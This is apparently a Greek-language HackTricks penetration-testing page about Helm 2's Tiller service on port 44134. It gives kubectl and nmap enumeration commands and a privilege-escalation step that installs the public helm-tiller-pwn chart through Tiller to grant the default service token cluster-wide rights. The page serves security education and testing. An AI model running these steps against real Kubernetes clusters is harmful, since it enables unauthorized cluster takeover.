tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Το Helm είναι ο διαχειριστής πακέτων για το Kubernetes. Επιτρέπει τη συσκευασία αρχείων YAML και τη διανομή τους σε δημόσιες και ιδιωτικές αποθήκες. Αυτά τα πακέτα ονομάζονται Helm Charts. Ο Tiller είναι η υπηρεσία που τρέχει από προεπιλογή στην πόρτα 44134 προσφέροντας την υπηρεσία.

Προεπιλεγμένη πόρτα: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeration

Αν μπορείτε να καταμετρήσετε τα pods και/ή τις υπηρεσίες διαφορετικών namespaces, καταμετρήστε τα και αναζητήστε αυτά που έχουν "tiller" στο όνομά τους:

bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Παραδείγματα:

bash
kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Μπορείτε επίσης να προσπαθήσετε να βρείτε αυτή την υπηρεσία που εκτελείται ελέγχοντας την θύρα 44134:

bash
sudo nmap -sS -p 44134 <IP>

Αφού το ανακαλύψετε, μπορείτε να επικοινωνήσετε μαζί του κατεβάζοντας την εφαρμογή πελάτη helm. Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το homebrew, ή να δείτε τη σελίδα επίσημων εκδόσεων. Για περισσότερες λεπτομέρειες, ή για άλλες επιλογές, δείτε τον οδηγό εγκατάστασης.

Στη συνέχεια, μπορείτε να καταμετρήσετε την υπηρεσία:

helm --host tiller-deploy.kube-system:44134 version

Privilege Escalation

Από προεπιλογή, το Helm2 εγκαταστάθηκε στο namespace kube-system με υψηλά δικαιώματα, οπότε αν βρείτε την υπηρεσία και έχετε πρόσβαση σε αυτήν, αυτό θα μπορούσε να σας επιτρέψει να κλιμακώσετε τα δικαιώματα.

Το μόνο που χρειάζεται να κάνετε είναι να εγκαταστήσετε ένα πακέτο όπως αυτό: https://github.com/Ruil1n/helm-tiller-pwn που θα δώσει στο προεπιλεγμένο διακριτικό υπηρεσίας πρόσβαση σε όλα σε ολόκληρο το cluster.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

Στο http://rui0.cn/archives/1573 έχετε την εξήγηση της επίθεσης, αλλά βασικά, αν διαβάσετε τα αρχεία clusterrole.yaml και clusterrolebinding.yaml μέσα στο helm-tiller-pwn/pwnchart/templates/ μπορείτε να δείτε πώς όλα τα δικαιώματα δίνονται στο προεπιλεγμένο token.

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks